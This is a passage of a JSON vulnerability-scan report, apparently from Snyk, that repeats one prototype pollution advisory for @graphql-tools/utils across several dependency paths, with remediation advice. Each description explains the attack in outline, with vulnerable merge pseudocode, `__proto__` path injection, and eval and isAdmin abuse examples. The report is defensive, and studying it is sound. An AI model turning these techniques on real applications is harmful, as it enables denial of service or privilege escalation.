**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n\n- Web browser\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `@graphql-tools/utils` to version 12.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e)\n- [GitHub PR](https://github.com/ardatan/graphql-tools/pull/8423)\n- [GitHub PR](https://github.com/graphql-hive/gateway/pull/2600)\n- [Maintainer's Advisory](https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv)\n",
"epssDetails": {
"percentile": "0.27143",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-104852"
],
"CWE": [
"CWE-1321"
],
"GHSA": [
"GHSA-7mx3-vvmw-hjmv"
]
},
"packageName": "@graphql-tools/utils",
"proprietary": false,
"creationTime": "2026-10-06T13:40:54.993466Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-06T00:13:54.277000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-06T13:40:55.188306Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-07T13:32:37.361867Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@graphql-codegen/c-sharp-operations@3.2.0",
"@graphql-codegen/c-sharp-common@1.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-codegen/plugin-helpers@5.1.1",
"@graphql-tools/utils@10.10.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "@graphql-tools/utils",
"version": "10.10.3"
},
{
"id": "SNYK-JS-GRAPHQLTOOLSUTILS-20537055",
"title": "Prototype Pollution",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"tepel-chen"
],
"semver": {
"vulnerable": [
"<12.0.1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"12.0.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@graphql-tools/utils",
"references": [
{
"url": "https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e",
"title": "GitHub Commit"
},
{
"url": "https://github.com/ardatan/graphql-tools/pull/8423",
"title": "GitHub PR"
},
{
"url": "https://github.com/graphql-hive/gateway/pull/2600",
"title": "GitHub PR"
},
{
"url": "https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"description": "## Overview\n[@graphql-tools/utils](https://www.npmjs.org/package/@graphql-tools/utils) is a Common package containing utils and types for GraphQL tools\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `mergeDeep` function, which fails to block reserved property keys such as `__proto__`, `constructor`, and `prototype` before recursively merging source objects into an output object. An attacker who controls a source object passed to `mergeDeep` can pollute `Object.prototype`, potentially affecting all objects in the process and enabling further exploitation.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `__proto__` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `__proto__.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n\n- Web browser\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `@graphql-tools/utils` to version 12.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e)\n- [GitHub PR](https://github.com/ardatan/graphql-tools/pull/8423)\n- [GitHub PR](https://github.com/graphql-hive/gateway/pull/2600)\n- [Maintainer's Advisory](https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv)\n",
"epssDetails": {
"percentile": "0.27143",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-104852"
],
"CWE": [
"CWE-1321"
],
"GHSA": [
"GHSA-7mx3-vvmw-hjmv"
]
},
"packageName": "@graphql-tools/utils",
"proprietary": false,
"creationTime": "2026-10-06T13:40:54.993466Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-06T00:13:54.277000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-06T13:40:55.188306Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-07T13:32:37.361867Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@graphql-codegen/c-sharp@5.1.2",
"@graphql-codegen/c-sharp-common@1.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.0.25",
"@graphql-tools/utils@10.10.3"
],
"upgradePath": [
false,
"@graphql-codegen/c-sharp@5.1.2",
"@graphql-codegen/c-sharp-common@1.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.1.14",
"@graphql-tools/utils@12.1.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "@graphql-tools/utils",
"version": "10.10.3"
},
{
"id": "SNYK-JS-GRAPHQLTOOLSUTILS-20537055",
"title": "Prototype Pollution",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"tepel-chen"
],
"semver": {
"vulnerable": [
"<12.0.1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"12.0.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@graphql-tools/utils",
"references": [
{
"url": "https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e",
"title": "GitHub Commit"
},
{
"url": "https://github.com/ardatan/graphql-tools/pull/8423",
"title": "GitHub PR"
},
{
"url": "https://github.com/graphql-hive/gateway/pull/2600",
"title": "GitHub PR"
},
{
"url": "https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"description": "## Overview\n[@graphql-tools/utils](https://www.npmjs.org/package/@graphql-tools/utils) is a Common package containing utils and types for GraphQL tools\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `mergeDeep` function, which fails to block reserved property keys such as `__proto__`, `constructor`, and `prototype` before recursively merging source objects into an output object. An attacker who controls a source object passed to `mergeDeep` can pollute `Object.prototype`, potentially affecting all objects in the process and enabling further exploitation.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `__proto__` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `__proto__.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n\n- Web browser\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `@graphql-tools/utils` to version 12.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e)\n- [GitHub PR](https://github.com/ardatan/graphql-tools/pull/8423)\n- [GitHub PR](https://github.com/graphql-hive/gateway/pull/2600)\n- [Maintainer's Advisory](https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv)\n",
"epssDetails": {
"percentile": "0.27143",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-104852"
],
"CWE": [
"CWE-1321"
],
"GHSA": [
"GHSA-7mx3-vvmw-hjmv"
]
},
"packageName": "@graphql-tools/utils",
"proprietary": false,
"creationTime": "2026-10-06T13:40:54.993466Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-06T00:13:54.277000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-06T13:40:55.188306Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-07T13:32:37.361867Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@graphql-codegen/c-sharp-operations@3.2.0",
"@graphql-codegen/c-sharp-common@1.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.0.25",
"@graphql-tools/utils@10.10.3"
],
"upgradePath": [
false,
"@graphql-codegen/c-sharp-operations@3.2.0",
"@graphql-codegen/c-sharp-common@1.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.1.14",
"@graphql-tools/utils@12.1.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "@graphql-tools/utils",
"version": "10.10.3"
},
{
"id": "SNYK-JS-GRAPHQLTOOLSUTILS-20537055",
"title": "Prototype Pollution",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"tepel-chen"
],
"semver": {
"vulnerable": [
"<12.0.1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"12.0.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@graphql-tools/utils",
"references": [
{
"url": "https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e",
"title": "GitHub Commit"
},
{
"url": "https://github.com/ardatan/graphql-tools/pull/8423",
"title": "GitHub PR"
},
{
"url": "https://github.com/graphql-hive/gateway/pull/2600",
"title": "GitHub PR"
},
{
"url": "https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"description": "## Overview\n[@graphql-tools/utils](https://www.npmjs.org/package/@graphql-tools/utils) is a Common package containing utils and types for GraphQL tools\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `mergeDeep` function, which fails to block reserved property keys such as `__proto__`, `constructor`, and `prototype` before recursively merging source objects into an output object. An attacker who controls a source object passed to `mergeDeep` can pollute `Object.prototype`, potentially affecting all objects in the process and enabling further exploitation.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `__proto__` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `__proto__.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n\n- Web browser\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `@graphql-tools/utils` to version 12.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e)\n- [GitHub PR](https://github.com/ardatan/graphql-tools/pull/8423)\n- [GitHub PR](https://github.com/graphql-hive/gateway/pull/2600)\n- [Maintainer's Advisory](https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv)\n",
"epssDetails": {
"percentile": "0.27143",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-104852"
],
"CWE": [
"CWE-1321"
],
"GHSA": [
"GHSA-7mx3-vvmw-hjmv"
]
},
"packageName": "@graphql-tools/utils",
"proprietary": false,
"creationTime": "2026-10-06T13:40:54.993466Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-06T00:13:54.277000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-06T13:40:55.188306Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-07T13:32:37.361867Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@apollo/server@5.5.0",
"@graphql-tools/schema@10.0.32",
"@graphql-tools/utils@11.0.1"
],
"upgradePath": [
false,
"@apollo/server@5.5.0",
"@graphql-tools/schema@10.1.5",
"@graphql-tools/utils@12.1.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "@graphql-tools/utils",
"version": "11.0.1"
},
{
"id": "SNYK-JS-GRAPHQLTOOLSUTILS-20537055",
"title": "Prototype Pollution",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"tepel-chen"
],
"semver": {
"vulnerable": [
"<12.0.1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"12.0.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@graphql-tools/utils",
"references": [
{
"url": "https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e",
"title": "GitHub Commit"
},
{
"url": "https://github.com/ardatan/graphql-tools/pull/8423",
"title": "GitHub PR"
},
{
"url": "https://github.com/graphql-hive/gateway/pull/2600",
"title": "GitHub PR"
},
{
"url": "https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"description": "## Overview\n[@graphql-tools/utils](https://www.npmjs.org/package/@graphql-tools/utils) is a Common package containing utils and types for GraphQL tools\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `mergeDeep` function, which fails to block reserved property keys such as `__proto__`, `constructor`, and `prototype` before recursively merging source objects into an output object. An attacker who controls a source object passed to `mergeDeep` can pollute `Object.prototype`, potentially affecting all objects in the process and enabling further exploitation.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
